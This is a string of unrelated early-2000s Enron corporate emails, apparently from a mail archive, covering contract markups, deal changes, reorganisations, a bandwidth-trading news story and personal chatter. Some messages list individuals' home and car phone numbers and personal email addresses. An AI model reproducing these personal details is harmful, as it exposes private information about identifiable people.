company is better run, more central, or a fiercer competitor. At $16,
it's not quite a steal, but it's a bargain."

Stepping Out With Cisco
http://www.esquire.com/money/green/010601_mgr_tech_1.html

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MORE LINKS
~~~~~~~~~~
Oracle's Silence
http://www.thestandard.com/article/0,1902,26948,00.html?nl=stg

From A List to Delist
http://www.forbes.com/2001/06/07/0607delisting.html

Amazon's About-Face
http://www.forbes.com/2001/06/07/0607amazon.html

The Street May Hate 'Reg FD,' But Repercussions Are Scarce
http://interactive.wsj.com/archive/retrieve.cgi?id=SB991678262685608576.djm
(Paid subscription required.)

Finger-Pointing After the Dot-Com Implosion
http://investor.cnet.com/investor/news/newsitem/0-9900-1028-6186636-0.html

World Supply of Dull Business Headlines Said to Increase
http://slate.msn.com/moneybox/entries/01-06-05_109639.asp

Analysis off the Canvas
http://cbs.marketwatch.com/news/story.asp?siteid=mktw&dist=nwtam&guid=%7B4CD18C4D%2D6A92%2D4216%2D9928%2D66E3C878AF5C%7D

Leading Questions: Apocalypse Not
http://www.ecompany.com/articles/mag/0,1640,11499,00.html?nl=stg

The Gong Show.com: Baby Internet Vets Pitch Businesses to Hard-Bit
Big-Money Guys
http://www.observer.com/pages/financial.asp

My Ariba Debacle
http://www.fool.com/portfolios/rulebreaker/2001/rulebreaker010606.htm?ref=foolwatch

STAFF
~~~~~
Written by Deborah Asbrand (dasbrand@world.std.com).

Edited by Suzan Revah (srevah@thestandard.com).

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Copyright 2001 Standard Media International

Wednesday, April 25 at 10 a.m. Houston time, join Sherri Sera, executive assistant to Jeff Skilling, on eSpeak.  Sherri will answer questions about how her job has changed since Jeff became CEO.  

If you can't make the live event, post your questions on eSpeak  now.  Sherri will answer them during her eSpeak, and you can find the answers in the transcript later.

Have you been wondering what happened to the information about Enron's severance pay policy?   Would you like to see an innovation suggestion for the Saturn's ring that will connect the two Enron buildings?  Read the new postings in the "Office of the Chairman" category in eMeet .

Thanks for the great response to the new "Cost Reduction" category in the Idea Vault!  Visit the ThinkBank  today and read the suggestions for cutting costs; and, while you're there, add your own.

Just so that you have a copy.   Also, Steve will prepare a blackline and cc 
you.  SS
----- Forwarded by Sara Shackleton/HOU/ECT on 10/04/2000 02:24 PM -----

	kelly.habenicht@db.com
	09/15/2000 11:19 AM
		 
		 To: sara.shackleton@enron.com
		 cc: marcus.tarkington@db.com
		 Subject: Letter of Credit Provisions

Per Steve Kessler's request, attached please find Exhibit A to Paragraph 13 
of Annex A:  Letter of Credit Provisions.  Please let me know if I can be of 
further assistance.

Regards,
Kelly

(See attached file: Exhibit A.doc)

 - Exhibit A.doc

I recommend that we just stick to one of the three that Joseph originally to the time and effort to select.  Any chance of salvaging any of those?

Best,
Jeff

From: Chris Hornbeck [mailto:Chris_Hornbeck@sp.gap.com]
Sent: Friday, November 16, 2001 10:21 AM
To: tamborni@haas.berkeley.edu; hornbeck@haas.berkeley.edu; Dasovich,
Jeff
Subject: Hows about this?

Hey guys,

I received this from a friend at Wells Fargo. I haven't read it yet. 
It may be what we need. I don't know that it is ABS.

Chris
####################################################################

Here is a prospectus for a straight shot corporate bond deal that we 
passed
over.  We later bought some bonds on the market.
This has an abridged updated trading statement. This gets shopped to 
all new

Hope this helps,

Zeke

http://www.corporate-ir.net/media_files/lse/moni.uk/reports/15536acl.p
df

> 
> Greetings:
> Joseph, did you have any luck locating the supplements from that
> securitization.  I was thinking that if it's "locatable," we should 
just
> continue with it.  If you can find it and can save and email around, 
I'd
> be happy to comb over it this weekend.  Just let me know.
>  
> Best,
> Jeff
> 
>
Chris Hornbeck
Architect
CAD / Design Manager
GAP, Inc. -- International Store Design
chris_hornbeck@sp.gap.com

Great...Thanks!

From:	Richard Ring/ENRON@enronXgate on 10/10/2001 09:20 AM
To:	Bob Hansen/HOU/EES@EES
cc:	Michele Raque/ENRON@enronXgate, Narsimha Misra/ENRON@enronXgate 
Subject:	RE: MD Index Product - Scheduling Fee

Bob,

I think that for the moment the $0.25/MWh for the scheduling fee component is fine to utilize.  Michelle is in the process of reviewing all BGE scheduling requirements and within the next few days should have be able to determine the accuracy of the $0.25/MWh scheduling fee component.

Richard

Sent:	Wednesday, October 10, 2001 9:10 AM
To:	Pan, Liqun; Ring, Richard; Raque, Michele
Subject:	MD Index Product - Scheduling Fee

Good Morning....

As a placeholder, Narsimha previously suggested $0.25/MWH for the scheduling fee component of the fixed "Management Fee".  Do you think this is still a reasonable number to use?  If so, we would use it in our notional estimates, and Deal Management would use the same value for executable pricing.   

Thanks!
Bob

---------------------- Forwarded by Eric Bass/HOU/ECT on 01/25/2001 07:58 AM 

"K. Bass" <daphneco64@bigplanet.com> on 01/25/2001 05:34:12 AM
To: "Larry W. Bass" <lwbthemarine@bigplanet.com>, Eric Bass 
<Eric.Bass@enron.com>
cc:  
Subject: MATT DRUDGE -- DRUDGE REPORT 2000c

?

?http://www.drudgereport.com/wh93a.htm
 - MATT DRUDGE -- DRUDGE REPORT 2000c.url

There appears to be about 7 people that are not going to make it, leaving us 
about 5 people.  Therefore, as we agreed several seasons ago, every body 
needs to drop ten bucks in the kitty for the forfeit deposit.  
PL

Terry: Allan Bowser, DAS, DOC for Basic Industries and Helen Burroughs 
visited with me this afternoon to tell me about the initiative based on the 
President's State of the Union address.

Allan will lead a group of 15 to 20 US businesses interested in clean energy 
to China, India, Indonesia, Mexico and Brazil in phase one of the initiative 
and would like Enron to be a participant. I have suggested that you were the 
appropriate senior person that should be invited to a White House meeting in 
the next two weeks regarding the program. 

He has been working with Roger Ballantine and Jeff Seabright who are his and 
Helen's contacts. They are asking Allan to head the mission. He feels that 
companies involved in this mission become recognized or further recognized as 
supporters of clean energy.

He gave me several handouts which are being faxed to you and others copied on 
this memo. You or your staff should be on the lookout for Allan or Helen's 
invitation.

Helen also asked about emissions trading and I told her about John Palmisano. 
I believe she is interested in having John brief people at the DOC on this 
type of opportunity.

Joe

Figures.  I'll see if I can find that needle in that haystack and get back to 
you.

Sara,

Are you certain that the executing broker - equities list is definitive?  I 
reviewed the list of executing brokers that are currently used by ECTI and 
ENA, and at least half were not on this list.  Is it possible that we are 
trading without agreements with all of these brokers?  

examples:  Lehman Brothers, Hambrecht & Quist, Thomas Weisel Partners, DLJ, 
SBC Warburg Dillon Read to name a few.  

Could you have someone check on this?  Thanks!

Preliminary Summary Sheets were handed out yesterday afternoon for your 
review.  If needed, the OA group will be more than happy to reclassify 
variances(provided data such as forms, FRED's, etc. were provided by April 
30th) to the correct functional group until Thursday, May 3.

Due to issues which have arisen in the past regarding reclassifying variances 
the day before, or, in some cases, the day of the OA meeting, guidelines are 
being set to avoid the confusion of having multiple copies of the Summary 
Sheets handed out during the monthly meeting.  The final OA packet will be 
delivered on Friday, May 4.  If there are any questions, please feel free to 
call me @ 3-3954.  Thank you.

John

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---------------------- Forwarded by Steven J Kean/NA/Enron on 05/13/2001 
08:00 PM ---------------------------

eserver@enron.com on 05/10/2001 02:36:34 PM
To: "Steven.J.Kean@enron.com" <Steven.J.Kean@enron.com>
cc:  

Subject: <<Concur Expense Document>> - JB 003

Employee Name: John Brindle
Expense Report Name: JB 003
Report Total: $3,976.51
Amount Due Employee: $3,976.51

Expense.
http://xms.enron.com

Ehud,

I want to invite Louise Kitchen to this conference.
She is the President of EnronOnLine.
Greg Whalley will be in London this day.

Vince

"Ehud I. Ronn" <eronn@mail.utexas.edu> on 11/02/2000 05:03:22 PM
cc:  
Subject: Spring 2001 Energy Finance Conference Participation

Vince,

>Given the energy-finance focus of the Conference, do you believe the
Networks topics is sufficiently energy-related?

Per my above concern, I'd like to discuss the matter with you further.
Thanks,
Ehud

     Jack S. Josey Professor in Energy Studies

Answer to the query about GAIL investment in India is below.   mcs
---------------------- Forwarded by Mark Schroeder/LON/ECT on 02/06/2000 
11:10 ---------------------------

02/06/2000 21:22
cc:  

Subject: More Information

We own 5% of GAIL by way of "global deposit receipts."   We are not allowed 
to sell these GDRs in India but may sell them anywhere else.  They are listed 
on the London Exchange.  One thing to think about is that GAIL will be 
privatized in the long term.  As the largest private investor, we will be 
able to convrt to voting stock.  However, to do so we must obtain the consent 
of the FIPB (left out a letter earlier) -- the Foreign Investment Promotion 
Board.  Apparently, this is not a good time to even think about it because 
there is a huge debate in Delhi about the role of foreign oil companies in 
their sector, i.e., the wisdom of allowing foreign ownership of the oil 
sector.  

On a separate topic, I need to do due diligence on the "Power Trading 
Corporation".  This is part of the Powergrid state organization which is 
currently comprised of three sections: the central transmission agency, the 
central independent system operator and the Power Trading Corporation.  I've 
been reading news clippings that sound so peculiar that this organization, I 
suspect, can harm our marketing designs in India.  FYI, there is discussion 
about our investing in this organization and perhaps trading through it as a 
way to manage credit risk.  I'll let you know more as I learn it.

Just to let you all know - the following deals have been changed per Mike 
Swerzbin -

516611 - from H01 to Q3-01
516618 - from 10 mw to 16 mw
516651 - from Mid-C to Palo

Let me know if you have any questions about these changes. (Most were due to 
my inability to read his handwriting!)

Thanks,
Kate

In a letter dtd 3/13/02 Ormet said they wired to ENA $14,645.03 (plus interest) to cure a contract default.  I've been watching the cash inflow spreadsheet that gets published daily but haven't seen these funds on that report.  

Can you let me know whether you see any such payment from Ormet?

Thanks

I have an eye dr. appt. tomorrow at 3:00.  I'll have to leave a little early.

Dear Errol,

We have still not received the Affidavit form from you. I have tried calling 
you
both in the office and at home but was not able to get through. Kindly send 
us the affidavit form
by the 3rd of December, Sunday - which is Monday in Korea - so that I can 
request for shipment immediately.
If we do not receive the Affidavit by this week, I am afraid that we will 
have to forfeit your prize.
Please do not hesitate to contact me for any questions or inquiries.

Thank you and we hope to hear from you soon.

Congratulations, Errol!

You are a winner of the Samsung "Pick the Phone with Olympic Rings" event, 
which means
that you've won a Samsung "Yepp" Mp3 Player which is worth over US$250 in 
value!
Please complete the following Affidavit of Eligibility and 
Liability/Publicity Release Form and
fax it to fax no: 82 2 3780 3769(Korea) so that Samsung can ship you your 
prize.
Your prize will be shipped out as soon as we get your reply.
For inquiries, please forward all emails to min528@samsung.co.kr.
Please remember, only one prize per winner.

Thanks for playing and congratulations again!

AFFIDAVIT OF ELIGIBILITY and LIABILITY / PUBLICITY RELEASE

STATE OF ____________________

COUNTRY OF ____________________

 I, ___________________________________ being duly sworn, say:
                        (Name)

 I am ____ years of age.

 I reside at

 _____________________________________________________________________
   (Street Address)

   (City and State)

 I am submitting this affidavit to Samsung Electronics, Inc.
with the understanding that it will be relied upon to determine whether I am
entitled to receive the prize for which my entry has been selected in the
'Pick the Phone with Olympic Rings' event sponsored by Samsung Electronics, 
Inc.
("Sponsor")

 I represent that I have compiled with all the rules and regulations of this
sweepstakes and that I have perpetrated no fraud or deception in entering or 
in
claiming my prize.

 I further represent that neither I nor any members of my immediate family
is an employee of the Sponsor, its affiliates, subsidiaries or advertising 
agencies
or of any entity specifically excluded in the official rules.

 I agree to return to the Sponsor any prize which may be awarded to me if
any statement made by me in this affidavit is false.

 I agree and hold the Sponsor, together with their affiliates, subsidiaries or
advertising or promotions agencies and their respective directors, officers,
employees, licensees and assigns harmless against all and any liability for
personal injury, or illness resulting from my winning, acceptance of or use 
of the
prize I received in connection with this promotion.  I understand that Sponsor
will not obtain insurance on my behalf, and I am fully responsible for 
obtaining
my own insurance, should I desire it.

 I do hereby give Sponsor, Samsung Electronics, Inc. and its agents
and assignees, full permission and authority to use, publish and display my
name, voice and photograph or other likeness for advertising or other related
purpose.

Home Phone #_______________  Business. Phone #_______________

Signed : _______________________________
    (Signature)

(Parent or guardian if above signatory is under 21 years of age)

Sworn to before me this _____ day

of __________________________ 2000.

can you send eze email then?  not a disaster if you don't come.  based on the way you two got along last night, its probly better if you don't ... 

Sent:	Friday, January 04, 2002 11:14 AM
Subject:	RE: yoga w/ eze

I can decide last minute.  Set it up anyway.  Would it be a disaster if I
decided not to come?  I love how Earls is classified as part of the
curriculum.

From: Richey, Cooper [mailto:Cooper.Richey@ENRON.com]
Sent: Friday, January 04, 2002 11:10 AM
To: jhawker@petersco.com
Subject: yoga w/ eze

do you want in on yoga w/ eze?  i'd like to set it up, especially since it
may involve jamie, but not sure if you're interested in spending
extracurricular time w/ eze

Thank you.

Both of the above documents have been updated.  If any additional changes are 
needed, please advise.

Attached please find a draft of the ISDA/OSLA BRIDGE and the ISDA
CROSS-AGREEMENT BRIDGE for review in preparation for the Master Agreement
Working Group meeting on September 6th at 11:00 a.m. New York time/4:00 p.m.
London.

If you have not already done so, please contact Barbara Hanlon at
bhanlon@isda.org or 212-332-1200 to let her know if you are participating in
the meeting.

 <<Bridge081400.pdf>>  <<Cross081400.pdf>>

Ms. Barbara Hanlon
Assistant to General Counsel
International Swaps and Derivatives Association, Inc.
600 Fifth Avenue, 27th Floor
Rockefeller Center
New York, New York 10020-2302
Fax: (212) 332-1212
http://www.isda.org

 - Bridge081400.pdf
 - Cross081400.pdf

Successfully, missed another bullet !!!  I have meetings set up with Mariel=
la=20
(the lady you like) and Dan Castingnola, who are the two highest ranked=20
performers in CALME, to see if they are interested in joining our team. =20

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 09/06/2000=
=20
05:15 PM ---------------------------
From: Office of the Chairman@ENRON on 09/06/2000 05:10 PM
cc: =20
Subject: Organizational Changes

In support of Enron=01,s continuing efforts to increase its return on inves=
ted=20
capital and direct resources towards our highest return businesses, David=
=20
Haug, Chairman and CEO of Enron CALME, Jim Hughes, President and COO of Enr=
on=20
APACHI, Joe Kishkill, Managing Director of Enron South America, and Frank=
=20
Stabler, formerly a Managing Director of Enron CALME, will join Mark Metts =
in=20
a corporate wide effort, to help monetize some of Enron=01,s assets.  David=
 will=20
help transition the CALME business activities into other parts of Enron whi=
le=20
working with Mark on the asset monetization projects.  David will continue =
as=20
an Executive Vice President for Enron Corp and a member of Enron=01,s Execu=
tive=20
Committee.  Cliff Baxter will oversee this effort.

Consistent with these changes, the CALME group will be divided as follows. =
=20
Enron Global LNG and Enron=01,s Caribbean Basin activities will become part=
 of=20
the new Enron Global Markets (EGM) group headed by Mike McConnell.  Rick=20
Bergsieker, President/COO of LNG will continue in that role and in his dual=
=20
role as President/COO of Enron Middle East, which will also join EGM. Shawn=
=20
Cumberland, President and COO of the Caribbean Basin unit and his executive=
=20
team will carry out the transition process for the Caribbean business unit'=
s=20
people and businesses as part of EGM.  Management of its Colombia and=20
Venezuela businesses will transfer to Enron South America and its LNG-relat=
ed=20
activities to EGM as described above.=20

The EES related initiatives and people will be transferred to those units. =
=20
All of the various international businesses will participate as usual in th=
e=20
upcoming budget process with their new alignment and continue to meet their=
=20
plan targets for 3rd and 4th quarters.

Concurrently, we are consolidating our trading and merchant activities in=
=20
Japan and Australia into Enron Europe.  Joe Hirl and Paul Quilkey will repo=
rt=20
to Enron Europe=01,s Office of the Chairman.

We congratulate David Haug and Rebecca McDonald for proposing these=20
realignments, which we agree, will maximize both the financial and=20
intellectual capital in Enron.  Over the coming weeks, specific assignments=
=20
and reporting relationships will be determined and communicated.

Williams Communications Forms Bandwidth Trading Grp
Friday, February 11, 2000 12:50 PM	

	?Mail this article to a friend 
	
	By Michael Rieke 
	HOUSTON (Dow Jones)--Williams Communications Group Inc. (WCG, news, msgs) has 
formed a bandwidth trading group in a step toward embracing standardized 
bandwidth trading. 
	The company was initially opposed to the idea of bandwidth trading as a 
commodity under standard terms and conditions, so its change of opinion is 
being viewed by analysts as a key step toward creating a commodity market for 
telecommunications bandwidth. 
	Williams Communications now wants to be a leader in setting industry 
standards for bandwidth trading, Gordon Martin, president of Williams 
Communications' carrier services, told Dow Jones Newswires. 
	The company plans to draw on the commodity trading experience of Williams Co. 
(WMB, news, msgs), Martin said. Williams Co., an energy company that owns 85% 
of Williams Communications, has been trading energy commodities such as 
natural gas for years. 
	Williams Communications has named Sharon Crow as vice president of bandwidth 
risk and optimization management. She was previously a gas trader and risk 
manager with Williams Energy Services, a unit of Williams Co. 
	Williams Communications has one of the largest interstate telecommunications 
networks in the United States. It has recently been adding more 
telecommunications fiber on both the local and international level, Martin 
said. 
	
	"This is a market that may not be at a maturity level that others would like 
to think it is in terms of ability to trade," Martin said. 
	That's a clear reference to Enron Corp., which proposed last year that 
bandwidth be traded as a commodity under standard terms and conditions. Enron 
did the first such trade in December, agreeing to buy DS-3 bandwidth from New 
York and Los Angeles in monthly increments from Global Crossing Ltd. (GBLX, 
news, msgs). A DS-3 fiber moves data at a rate of 45 megabits per second. 
	Tom Gros, vice president of global bandwidth trading for Enron, said he 
welcomes Williams to the bandwidth trading market. "This is something that 
enables all of us to more effectively manage our bandwidth and offer more 
innovative solutions to our clients." 
	Williams Communications' Martin is quick to point out that his company has 
been trading bandwidth for about 15 years. 
	Those deals have typically been long term, as long as 15 to 20 years. 
Traditional bandwidth deals take weeks or even months to close as companies 
negotiate quantity, price, quality of service, creditworthiness, damages for 
non-performance and other issues. Each new deal would start again from 
scratch to negotiate those issues. 
	By setting standard terms and conditions to cover such issues, industry 
players can trade bandwidth more quickly and more efficiently, Crow said. 
	The resulting liquidity will add flexibility to the telecommunications 
industry, allowing producers and users of bandwidth to manage risk. Crow said 
Williams Communications wants to take the lead in forming a 
telecommunications industry committee to standardize terms for bandwidth 
trading. 
	
	That's an about-face for Williams Communications. Last May a company official 
was quoted as saying that bandwidth couldn't trade as a commodity under 
standard terms and conditions. 
	Last December another company official spoke at a bandwidth trading 
conference in New York City. He was still skeptical but softened the 
company's opposition to the idea. 
	Crow said Williams Communications and Williams Co. have had a committee 
studying the bandwidth trading idea for more than a year. 
	The group was looking at the issue from a timing perspective to see how long 
it would take to become liquid. Now Williams Communications wants to help 
spur that liquidity. 
	Part of Williams Communications change of opinion has had to do with the 
evolution of Enron's trading proposal. It was originally seen by Williams as 
a proposal to trade minutes of long distance telephony minutes, said a 
Williams official who didn't want to be identified. Later it evolved into 
trading of high-speed data transmission bandwidth. 
	It's also become evident this year that the stock market likes the bandwidth 
trading idea. Before Enron did its first bandwidth trade in early December, 
its share price was less than $38 a share. Then mutual funds came in to buy 
large blocks of stock in December, pushing the share price above the $50 
mark. 
	The share price got another shot in the arm when Enron played up bandwidth 
trading and its fiber-optic network at its analysts meeting Jan. 20. On Jan. 
19, Enron's stock closed at $53.50 a share. On the day of the analysts 
meeting, it closed at $67.38. The next day it closed at $71.63. 
	The market's reaction to Enron's bandwidth position "did invigorate our 
examination of the issue," said the Williams Communication official. 
	"The market had shown a willingness to reward the kind of capability we 
believe we had but that we hadn't brought this kind of focus to," he said. 
	All the Williams Communications officials stressed that a liquid market in 
bandwidth would enable the company to manage risk for itself and for its 
	Under the traditional long-term deals, a bandwidth consumer has to buy enough 
bandwidth to handle its maximum needs. It continues to pay for all the 
bandwidth even if it's using only part of it at times. A liquid market would 
allow a consumer to more closely match its bandwidth purchases with its 
needs. 
	Williams hopes to be pushing liquidity in certain aspects of trading, like 
monthly deals instead of only multi-year deals, said a company official. 
	The more bandwidth trades, the more buyers and sellers learn about the value 
of individual telecommunications products, he said. 
	Crow said the company is still working on an "action plan" to put together 
its trading group. It could draft employees from the Williams Communications 
long-term trading and deal organization group, the Williams Co. energy 
commodity trading group and from outside the company. 
	As for organizing an industry group to set standards for bandwidth trading, 
she said that could be as simple as calling other telecommunication carriers. 

Marchris --

Some things on follow-up from Ken Lay's call with Jeb Bush (could you have 
answers by End of Week) - 

1. What is the process post the FL Supreme Court decision.  Did anyone appeal 
to the Federal Courts?  Outcome of that action, if taken?

2. Is it possible for the FERC to simply act to waive the CCN need?  Did we 
ever discuss with FERC counsel the ability for that agency to "override" the 
CCN for any filing EWG?  What would they need to do?  Would FERC need to take 
on the FPSC or Fla Supreme Court?  A state should have the right to worry 
about safety and reliability, but not interfere with wholesale competition.

3. Have we calculated a "back of the envelope" $ value for the margin the 
Utilities (FPL, TECO, FPC) will obtain by transferring generation at book?  I 
would think that nuke should be at book (this is a gimme) with the fossil 
analyzed as the difference between average book ($/kw) and market value ($/kw 
- see Ben Jacoby).  What is the total $?

My understanding is that Steve Kean is heading into Florida to meet with Sect 
of Environment next week.  We need to try and get a read from the Utilities 
on how much $ would they be willing to give back in rate decreases as a 
Generation Stranded Benefit to see this deal through before the meeting.

Thanks,

Jim

i was not going nuts.  i was trying to go to sleep and you kept bringing it
up.  you're nice, but you have an attitude.  very cocky.

Sent: Friday, October 26, 2001 1:42 PM
To: erichardson@sarofim.com

i was being nice.  you kept starting it and then blaming it on me.  you
were going nuts.

   From:   Erin Richardson <erichardson@sarofim.com>@ENRON
   Sent:   Friday, October 26, 2001 1:03 PM

   you deserved it b/c you are a jerk.  you really need to start being
   nicer.

   From: Matthew.Lenhart@enron.com [mailto:Matthew.Lenhart@enron.com]
   Sent: Friday, October 26, 2001 12:37 PM
   To: erichardson@sarofim.com
   Subject: RE:

   you were letting me have it.  i deserved some of it b/c i made some bad
   jokes, but overall you were pretty brutal.  i think i am heading to
   baton
   rouge for the game this weekend instead of partying for halloween.

       -----Original Message-----
      From:   Erin Richardson <erichardson@sarofim.com>@ENRON
      Sent:   Friday, October 26, 2001 12:28 PM
      To:     Lenhart, Matthew
      Subject:  RE:

      no.   why was i mad?

      -----Original Message-----
      From: Matthew.Lenhart@enron.com [mailto:Matthew.Lenhart@enron.com]
      Sent: Friday, October 26, 2001 12:29 PM
      To: erichardson@sarofim.com
      Subject: RE:

      you still mad at me?  you were pissed last night.

          -----Original Message-----
         From:   Erin Richardson <erichardson@sarofim.com>@ENRON
         Sent:   Thursday, October 25, 2001 1:50 PM
         To:     Lenhart, Matthew
         Subject:

         you better be getting excited about dinner.  i'm not taking you if
      you
         aren't.

      This e-mail is the property of Enron Corp. and/or its relevant
   affiliate
      and
      may contain confidential and privileged material for the sole use of
   the
      intended recipient (s). Any review, use, distribution or disclosure
   by
      others is strictly prohibited. If you are not the intended recipient
   (or
      authorized to receive for the recipient), please contact the sender
   or
      reply
      to Enron Corp. at enron.messaging.administration@enron.com and delete
      all
      copies of the message. This e-mail (and any attachments hereto) are
   not
      intended to be an offer (or an acceptance) and do not create or
   evidence
      a
      binding and enforceable contract between Enron Corp. (or any of its
      affiliates) and the intended recipient or any other party, and may
   not
      be
      relied on by anyone as the basis of a contract by estoppel or
   otherwise.
      Thank you.

That's what he goes by.

From: 	trish.lindloff@weil.com@ENRON  
Sent:	Thursday, November 08, 2001 4:47 PM
Subject:	RE: Wrapco

Do you have Mike McConnell's full name?

**********NOTE**********
The information contained in this email message is intended only
for use of the individual or entity named above.  If the reader
of this message is not the intended recipient, or the employee or
agent responsible to deliver it to the intended recipient, you
are hereby notified that any dissemination, distribution or
copying of this communication is strictly prohibited.  If you
have received this communication in error, please immediately
notify us by telephone (214-746-7700), and destroy the original
message. Thank you.

Steve-- K

	07/07/2000 03:42 PM
		 
		 To: kpatrick@gibbs-bruns.com
		 cc: 
		 Subject: Deposition Reporting

Kathy: 

I notice that a number of parties to one or more of the NSM cases have 
jointly entered into an agreement with Esquire Reporting concerning 
deposition reporting.

Just to avoid any misunderstanding, I want to confirm that ECT Securities was 
not consulted with respect to this agreement and is not a party to it.? In 
the event that we notice our own depositions, we will use Esquire as a 
convenience to the other parties.? We will make our own arrangements with 
Equire to obtain copies of transcripts of depositions noticed by others.

Thanks. 

See you in Fort Wayne. 

Steve Howard 
Milbank, Tweed, Hadley & McCloy LLP 
showard@milbank.com 
213-892-4478; 213-892-4748 (fax) 

----- Forwarded by Sara Shackleton/HOU/ECT on 12/22/2000 10:35 AM -----

	Christine.Lee@ubsw.com
	12/21/2000 07:29 PM
		 
		 To: Sara.Shackleton@enron.com, david@dkelly.org
		 cc: Michael.Collins@ubsw.com
		 Subject: Re: 2 paragraphs

     Sara,

     Attached is the newly marked up version of the contract.  The
     highlights are as follows (not all changes are addressed below):

     1)  Dividend language has been inserted on page 6.  We may have to do
     something with the structure since there are two "Method of
     Adjustments."

     2)  On page 11 and 12, we reinserted our language in sections (iii)
     and (v) but conformed them to your Registration Provisions.  We needed
     to reinsert the language in (iii) for section (v) to work.

     3) On page 13, I reinserted our "best efforts ongoing obligation"
     language.  The reason I did this is because I realized that they way
     you had it drafted in the email does not work from an accounting
     perspective.

     4)  On page 14, 1st paragraph, the words "but prior to the Settlement
     Date" was added for accounting purposes.

     5)  The new ratcheting Trigger Price language was added on page 14.

     Please call me after you have reviewed the markup to verify that we
     are in agreement on the terms.

     Regards,
     Christine

_________________________________
Subject: 2 paragraphs
Author:  Sara.Shackleton (Sara.Shackleton@enron.com) at unix,mime
Date:    12/20/00 3:25 PM

Price.  The "Effective Share Price" shall be the result obtained by
dividing
X by Y where "X" equals the product of the Price Per Share multiplied by
the
Amount."

"In the event that, but for this Section 3, titled "Other Provisions,"
Party
using its best efforts to increase its Authorized Shares or by delivery of
a
cash payment equal to the [product obtained by multiplying the Excess
Shares

 - MARKUP.DOC

Pam,

Greg Whalley had to change his plans and will not be going to London after 
all  Thanks for everything.

Liz Taylor

Pam Benson@ENRON_DEVELOPMENT
02/24/2000 10:50 AM
To: Greg Whalley@ECT, Liz M Taylor@ECT
cc:  
Subject: Re: Company Plane to London  

Just for grins.  Joe's home number on Sunday is 281-363-9913 - just in case 
you two get disconnected.  His driver will pickup at Joe's home at 2:30 and 
the driver's car phone number is 713-598-4052 or Joe's portable is 
713-725-5979.

Thanks

Joseph W Sutton
02/24/2000 07:30 AM
To: Greg Whalley/HOU/ECT@ECT@ENRON
cc: Pam Benson/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT (bcc: Pam 
Benson/ENRON_DEVELOPMENT)

Yes, I'd like him to come along. Joe

Greg Whalley@ECT
02/23/2000 06:05 PM
Sent by: Liz M Taylor@ECT
To: Joseph W Sutton@Enron
cc:  
Subject: Company Plane to London

Mr. Sutton,

I'm emailing you on Greg Whalley's behalf.  Is it possible for Greg to join 
you on the company plane on Sunday over to London for the Open House?    I 
understand you have different plans on the return.   I can book him 
commercial on the return.  No worries, if the answer is no, I'm holding 
commercial flights both ways.

   Sunday, February 27
   Depart Houston @ 8:00a.m.
   Arrive London @ 11:52p.m. (same day)

Liz Taylor
Assistant to Greg Whalley

Miranda, Tracy and Kristin,

Bill Rapp has joined ETS legal as a new attorney for TW and NNG matters.
He will handle transfers and org chart/job description changes for those companies.
He will act as a backup for me when I am out.
In addition, I will act as a back up for him when he is out.

In addition, Jan Butler will be assisting Bill and I.
Janet Cones will continue to assist us.

So, please send the following marketing affiliate items to Bill and I, cc to Janet and Jan.

	Notices of Transfers
	Org Charts
	Job Descriptions
	
Thanks!

Frazier

Could you PLEASE PLEASE call David Marshall and get his email?  I'm on 
endless conference calls and need to contact him about a matter.

Thanks,

Kay

PS, not a vacation day

can you find out if the tech group has scheduled installation of a dsl line 
in my apartment?

From: 	Amiry, Homan  
Sent:	Friday, April 06, 2001 7:20 AM
To:	Petersen, Randy; Hagelmann, Bjorn; Aury, Pierre; Bezanis, Lowell
Subject:	BP LNG terminals California plus new LNG ships

HEY JOE,
HOW ARE YOU. I HOPE THIS SURPRISE EMAIL FIND YOU HAPPY AND DOING WELL AT
ENRON. JUST SPENT 10 GLORIOUS DAY IN MY BELOVED FLORIDA WHERE IT WAS 85-92
DEGREES EVERY DAY. WHEN TIME PERMITS PLEASE GIVE ME A BUZZ (203-355-5602) I
WOULD LIKE TO CHAT!!!!!!
BEST REGARDS/CAP

This e-mail contains privileged attorney-client communications and/or 
confidential information, and is only for the use by the intended recipient. 
Receipt by an unintended recipient does not constitute a waiver of any 
applicable privilege.

Reading, disclosure, discussion, dissemination, distribution or copying of 
this information by anyone other than the intended recipient or his or her 
employees or agents is strictly prohibited.  If you have received this 
communication in error, please immediately notify us and delete the original 
material from your computer.

Sempra Energy Trading Corp. (SET) is not the same company as SDG&E or 
SoCalGas, the utilities owned by SET's parent company.  SET is not regulated 
by the California Public Utilities Commission and you do not have to buy 
SET's products and services to continue to receive quality regulated service 
from the utilities.

Please plan to attend the UBS Presentation Video Conference scheduled for Wednesday, 1/23/02 at 8:00 AM to 11:00 AM.  This meeting will be held in the Mt Hood and Mt Adams Conference Rooms.  

As we approach the Thanksgiving Holiday, I want to take this opportunity to wish you and yours a safe and happy Holiday.  
With the recent events in our nation, giving thanks this year has taken on a whole new meaning.  This Thanksgiving we honor the brave, enduring heroes who gave their lives as well as those who are abroad fighting for freedom. We can be thankful for our great nation and for the world coming together. 
I recognize that here at Enron we are working through some challenging times and that everyone in the organization is working hard.  Thank you for your continued dedication.
Please take some time over the Holiday to enjoy your family and friends.   
Stan 

OW, 

I have changed the pricing on deal 132975 for this message.  Please adjust 
the risk assignment.

D
---------------------- Forwarded by Daren J Farmer/HOU/ECT on 12/21/2000 
02:57 PM ---------------------------

Susan Smith
12/21/2000 02:33 PM
Sent by: Susan Smith
To: Daren J Farmer/HOU/ECT@ECT, O'Neal D Winfree/HOU/ECT@ECT, Michael 
Walters/HOU/ECT@ECT
cc: Brian M Riley/HOU/ECT@ECT, Melissa Graves/HOU/ECT@ECT, Vance L 
Taylor/HOU/ECT@ECT 
Subject: Kerr McGee-meter 6884-January , 2001

All:
 The following was passed on to me. We received the following information 
from Kerr-McGee:

 For the month of January 2001:

 DCQ=26,000 MMbtu/d

 Gas Daily Volume-30% of DCQ=7,800 MMbtud
 
 Base contract price volume-70% of DCQ=18,200 MMbtud
 
 Thanks,
 Susan Smith
 x 33321

Mark, thank you. We would request that in Paragraph 3 the "Except as
otherwise provided" languge be deleted and the language below be added in
replacement.

"The parties acknowledge and understand that this agreement does not limit
or restrict the ability of either party to engage in its respective
business, nor does it limit either party's use or application of any
information or knowledge acquired independently of the other without breach
of this agreement in the course of such business.

Is this acceptable?

Sent: Tuesday, February 27, 2001 9:55 AM
To: Fogel, Stephen
Cc: Michael.Bridges@enron.com; Tana.Jones@enron.com
Subject: RE: TradeSpark NDA

Stephen -

